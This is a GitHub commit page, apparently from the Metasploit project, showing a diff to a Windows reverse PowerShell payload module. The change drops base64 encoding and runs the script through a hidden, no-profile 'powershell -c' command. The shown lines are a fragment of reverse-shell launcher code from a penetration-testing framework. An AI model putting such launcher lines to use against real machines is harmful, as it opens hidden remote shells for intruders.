Skip to content

Commit

Permalink
Stick with command let encoder handle encoding
Browse files Browse the repository at this point in the history
  • Loading branch information
Meatballs1 committed Feb 8, 2014
1 parent 80814ad commit 9f04e00
Showing 1 changed file with 1 addition and 3 deletions.
4 changes: 1 addition & 3 deletions modules/payloads/singles/cmd/windows/reverse_powershell.rb
Original file line number Diff line number Diff line change
Expand Up @@ -85,9 +85,7 @@ def command_string
"}"\
"}else{RSC}};"\

powershell_encoded = Rex::Text.encode_base64(Rex::Text.to_unicode(powershell))

return "powershell.exe -w hidden -nop -e #{powershell_encoded}"
return "powershell -w hidden -nop -c #{powershell}"
end

end

0 comments on commit 9f04e00

Please sign in to comment.